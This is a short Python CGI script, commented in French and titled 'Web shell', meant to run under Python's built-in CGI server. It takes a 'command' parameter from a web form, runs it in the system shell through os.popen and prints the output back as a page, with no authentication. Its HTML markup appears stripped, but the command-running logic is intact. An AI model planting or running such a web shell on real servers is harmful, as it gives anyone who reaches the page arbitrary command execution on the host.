#!/usr/bin/env python3 # après avoir lancé le serveur : python3 -m http.server --cgi import cgi import os form = cgi.FieldStorage() if form.getvalue('command'): cmd = form.getvalue('command') print("Content-Type: text/html; charset=UTF-8\n\n") print (""" Web shell

Web shell

""") print("

Votre commande : ") if cmd : print(cmd) print("

") print("""
""") if cmd : print("
",os.popen(cmd).read(),"
") print(""" """)